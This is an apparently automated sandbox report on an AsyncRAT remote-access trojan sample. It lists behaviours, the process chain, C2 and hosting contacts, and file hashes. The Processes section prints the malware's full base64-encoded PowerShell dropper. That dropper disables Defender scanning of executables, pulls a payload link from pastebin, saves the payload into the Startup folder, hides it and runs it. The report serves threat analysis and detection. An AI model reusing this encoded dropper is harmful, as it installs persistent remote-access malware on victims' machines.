Malware Analysis Report

2025-08-10 17:44

Sample ID 230317-hkamssgf8s
Target service.exe
SHA256 087427c0b74d495483859b7e587ef1063529253a2490c892d09f04465ef4f2c0
Tags
asyncrat default evasion rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

087427c0b74d495483859b7e587ef1063529253a2490c892d09f04465ef4f2c0

Threat Level: Known bad

The file service.exe was found to be: Known bad.

Malicious Activity Summary

asyncrat default evasion rat

AsyncRat

Async RAT payload

Sets file to hidden

Blocklisted process makes network request

Downloads MZ/PE file

Executes dropped EXE

Checks computer location settings

Drops startup file

Legitimate hosting services abused for malware hosting/C2

Enumerates physical storage devices

Views/modifies file attributes

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-03-17 06:47

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-03-17 06:47

Reported

2023-03-17 06:49

Platform

win10v2004-20230220-en

Max time kernel

82s

Max time network

108s

Command Line

"C:\Users\Admin\AppData\Local\Temp\service.exe"

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Sets file to hidden

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\service.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe C:\Windows\SysWOW64\attrib.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe N/A

Legitimate hosting services abused for malware hosting/C2

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\service.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4284 wrote to memory of 2924 N/A C:\Users\Admin\AppData\Local\Temp\service.exe C:\Windows\SysWOW64\WScript.exe
PID 4284 wrote to memory of 2924 N/A C:\Users\Admin\AppData\Local\Temp\service.exe C:\Windows\SysWOW64\WScript.exe
PID 4284 wrote to memory of 2924 N/A C:\Users\Admin\AppData\Local\Temp\service.exe C:\Windows\SysWOW64\WScript.exe
PID 2924 wrote to memory of 2328 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2924 wrote to memory of 2328 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2924 wrote to memory of 2328 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2328 wrote to memory of 4688 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2328 wrote to memory of 4688 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2328 wrote to memory of 4688 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4688 wrote to memory of 5064 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\attrib.exe
PID 4688 wrote to memory of 5064 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\attrib.exe
PID 4688 wrote to memory of 5064 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\attrib.exe
PID 4688 wrote to memory of 4056 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe
PID 4688 wrote to memory of 4056 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe
PID 4688 wrote to memory of 4056 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\service.exe

"C:\Users\Admin\AppData\Local\Temp\service.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\config.vbs"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Unrestricted -nologo -command .\service.ps1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand IAAgACAAIwAtACMAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAjAC0AIwAKACAAIwAtACMAIAAgACAAcwBjAHIAaQBwAHQAIABiAHkAIABhAHYAaQByAG8AbAAgAF4AXwBeACAAIAAgACMALQAjAAoAIAAgACAAIwAtACMAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAjAC0AIwAKAAoAJABWAGEAbAB1AGUAPQBHAGUAdAAtAEMAbwBtAHAAdQB0AGUAcgBJAG4AZgBvAHwAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AZQB4AHAAYQBuAGQAIABPAHMATgBhAG0AZQAKAGkAZgAgACgAIAAkAFYAYQBsAHUAZQAgAC0AbQBhAHQAYwBoACAAJwAxADAAJwApAAoAewAKACAAZQBjAGgAbwAgACcATgBvAHQAaABpAG4AZwAgAHQAbwAgAGQAbwAhACcACgB9AAoAZQBsAHMAZQBpAGYAIAAoACQAVgBhAGwAdQBlACAALQBtAGEAdABjAGgAIAAnADEAMQAnACkACgB7AAoAIABlAGMAaABvACAAJwBOAG8AdABoAGkAbgBnACAAdABvACAAZABvACEAJwAKAH0ACgBlAGwAcwBlAAoAewAKACAAZQB4AGkAdAAKAH0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcAZQB4AGUAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACQAUABhAHQAaAA9ACgAJwBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAnACsAJwAvAC8AJwArACcAcABhAHMAdABlACcAKwAnAGIAaQBuACcAKwAnAC4AJwArACcAYwBvAG0AJwArACcALwAnACsAJwByAGEAdwAnACsAJwAvACcAKwAnAHYATgBjAEMAdAA2ADAAQQAnACkACgAkAFIAYQB3AD0ASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABQAGEAdABoACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAKACQAUgBhAHcALgBDAG8AbgB0AGUAbgB0AAoAaQBmACAAKAAnAGUAcgByAG8AcgAnACAALQBlAHEAIAAkAFIAYQB3AC4AYwBvAG4AdABlAG4AdAApAAoAewAKACAAZQB4AGkAdAAKAH0ACgAkAE4AdQBtAGIAZQByADEAPQBHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGEAeABpAG0AdQBtACAAJwA5ACcACgAkAE4AdQBtAGIAZQByADIAPQBHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGEAeABpAG0AdQBtACAAJwA5ACcACgAkAFAAYQB0AGgAPQBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBHAGUAdABGAG8AbABkAGUAcgBQAGEAdABoACgAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAKwBTAHAAZQBjAGkAYQBsAEYAbwBsAGQAZQByAF0AOgA6AFMAdABhAHIAdAB1AHAAKQAKAEcAZQB0AC0ATABvAGMAYQB0AGkAbwBuAAoAUwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AIAAtAFAAYQB0AGgAIAAkAFAAYQB0AGgACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABSAGEAdwAuAGMAbwBuAHQAZQBuAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAuAFwAJwBcAHQAbQBwACcAJABOAHUAbQBiAGUAcgAxACcARABEACcAJABOAHUAbQBiAGUAcgAyACcALgBlAHgAZQAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAKAEMAOgBcAD8AaQA/AGQAPwB3AD8AXAA/AHkAPwB0AD8AbQA/ADIAXAA/AHQAPwByAD8AYgAuAD8AeAA/ACAAKwBzACAAKwBoACAALgBcACcAXAB0AG0AcAAnACQATgB1AG0AYgBlAHIAMQAnAEQARAAnACQATgB1AG0AYgBlAHIAMgAnAC4AZQB4AGUAJwAKAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgAC0AQwBvAG0AbQBhAG4AZAAgAC4AXAAnAFwAdABtAHAAJwAkAE4AdQBtAGIAZQByADEAJwBEAEQAJwAkAE4AdQBtAGIAZQByADIAJwAuAGUAeABlACcA

C:\Windows\SysWOW64\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h .\\tmp4DD7.exe

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe

"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 240.232.18.117.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 254.137.241.8.in-addr.arpa udp
US 8.8.8.8:53 177.238.32.23.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 104.20.68.143:443 pastebin.com tcp
US 8.8.8.8:53 143.68.20.104.in-addr.arpa udp
US 8.8.8.8:53 cdn-149.anonfiles.com udp
SE 195.96.151.42:443 cdn-149.anonfiles.com tcp
US 8.8.8.8:53 42.151.96.195.in-addr.arpa udp
US 104.20.68.143:443 pastebin.com tcp
US 8.8.8.8:53 5.tcp.eu.ngrok.io udp
DE 3.67.161.133:15738 5.tcp.eu.ngrok.io tcp
US 8.8.8.8:53 133.161.67.3.in-addr.arpa udp
US 52.168.117.169:443 tcp
US 8.8.8.8:53 45.8.109.52.in-addr.arpa udp
US 93.184.220.29:80 tcp
US 8.247.210.254:80 tcp
US 8.247.210.254:80 tcp
NL 173.223.113.164:443 tcp
NL 173.223.113.131:80 tcp
US 204.79.197.203:80 api.msn.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\RarSFX0\config.vbs

MD5 e04e55d2e6cc3d920631fdc5d6dcc1ce
SHA1 2c4dbcff71f8678623a7c197440ec281804dc5a5
SHA256 f641a99ec7e549970c81d724766f2a60ff031a5ec92aa6fc84228c82eeb4b4eb
SHA512 9511fe4dc599187f4539b8cda476550c54e86cbfcaca339a5db12e980ec322bf488d7458bf76089aa1d845f164f7ddb8adea017923d9a4930b9e821b7a4ae998

memory/2328-141-0x0000000002D70000-0x0000000002DA6000-memory.dmp

memory/2328-142-0x0000000005910000-0x0000000005F38000-memory.dmp

memory/2328-143-0x0000000005740000-0x0000000005762000-memory.dmp

memory/2328-144-0x0000000005FB0000-0x0000000006016000-memory.dmp

memory/2328-145-0x0000000006020000-0x0000000006086000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fhssokkb.d4t.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2328-148-0x00000000052D0000-0x00000000052E0000-memory.dmp

memory/2328-152-0x00000000052D0000-0x00000000052E0000-memory.dmp

memory/2328-157-0x0000000006690000-0x00000000066AE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\service.ps1

MD5 e16e049cd254a45e3a5538de04345df1
SHA1 120c2ac523b19ba50d7c7e11cf8630ee0b37f104
SHA256 7fc7521be2484846088e013b233f34605c526e3a69bc5d026dba76aecbe78973
SHA512 0a71e1e43991b055d564fad52f2cef81ec2ec592a6bf0d46311e51b80550b67ae4a495a5a76a19284bc3564559f6e7c03b9af4f887f12433d6c779f779d2a612

memory/4688-168-0x0000000003490000-0x00000000034A0000-memory.dmp

memory/4688-169-0x0000000003490000-0x00000000034A0000-memory.dmp

memory/4688-170-0x0000000006F00000-0x0000000006F96000-memory.dmp

memory/4688-172-0x0000000006E90000-0x0000000006EAA000-memory.dmp

memory/4688-171-0x0000000003490000-0x00000000034A0000-memory.dmp

memory/4688-173-0x0000000007B60000-0x0000000007B82000-memory.dmp

memory/4688-174-0x00000000081F0000-0x0000000008794000-memory.dmp

memory/4688-175-0x0000000008E20000-0x000000000949A000-memory.dmp

memory/4688-176-0x0000000007CB0000-0x0000000007CE2000-memory.dmp

memory/4688-177-0x000000006F490000-0x000000006F4DC000-memory.dmp

memory/4688-188-0x0000000008A30000-0x0000000008A4E000-memory.dmp

memory/4688-178-0x000000007F900000-0x000000007F910000-memory.dmp

memory/4688-189-0x0000000008B70000-0x0000000008B7A000-memory.dmp

memory/2328-190-0x00000000052D0000-0x00000000052E0000-memory.dmp

memory/2328-191-0x00000000052D0000-0x00000000052E0000-memory.dmp

memory/4688-192-0x0000000003490000-0x00000000034A0000-memory.dmp

memory/4688-193-0x0000000008D70000-0x0000000008D7E000-memory.dmp

memory/4688-194-0x0000000008DC0000-0x0000000008DDA000-memory.dmp

memory/4688-195-0x0000000008DB0000-0x0000000008DB8000-memory.dmp

memory/4688-196-0x0000000003490000-0x00000000034A0000-memory.dmp

memory/4688-197-0x0000000003490000-0x00000000034A0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe

MD5 6b95c5b02a8c31726cab09fc575423d5
SHA1 840aedd363c32d13cf8ec14729f68b9e6c31d374
SHA256 ec22734717b5451dd8527cf3d564fe450d2a12523e5ec880b9d8c60345f762b9
SHA512 f6eeb9d5b44617103d96662311db7e483d5c1b7be849d8e99a9d9284dce830d7fcedaf4247d3e45e1823d27ed8ea6df328596744b6ee2de98ccfee0f36f5fb40

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe

MD5 6b95c5b02a8c31726cab09fc575423d5
SHA1 840aedd363c32d13cf8ec14729f68b9e6c31d374
SHA256 ec22734717b5451dd8527cf3d564fe450d2a12523e5ec880b9d8c60345f762b9
SHA512 f6eeb9d5b44617103d96662311db7e483d5c1b7be849d8e99a9d9284dce830d7fcedaf4247d3e45e1823d27ed8ea6df328596744b6ee2de98ccfee0f36f5fb40

memory/4056-201-0x0000000000360000-0x0000000000372000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5126d77e4bd5acebbcd3fe5e0eed2994
SHA1 6162f6246273c8c186f482ffea1949b23e00e8b5
SHA256 b61fdf2e704710dca27b66df9088995f2c15060283421aa85ec36f0ca4b99cbd
SHA512 f9d437527d2827ff6f59985240bfd5dcb4bf7c4a82b766131485a1ac06b7650885dcb2eea153527cf730ba5d79ef80a30425c3f5c00de4840dd6a2f33155a378

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 b0e1352991da830009dc09bb0828d1a6
SHA1 4cf91840883ad57b83558488394721f6e0e19fb7
SHA256 be926637ddd5590ee6b7f53451d7644b7db600fc2218edc1427fbbf441297805
SHA512 cfdf8a23faead0ccada8f8d7785894c4e79f87a591ea20ca549bfcfc8a85651841a7bb581995f15de964f1e73d4af6d1777c0416272f5caab3f53482eb09f8e6

memory/4056-207-0x0000000004D50000-0x0000000004D60000-memory.dmp

memory/4056-208-0x0000000005800000-0x000000000589C000-memory.dmp

memory/4056-209-0x0000000004D50000-0x0000000004D60000-memory.dmp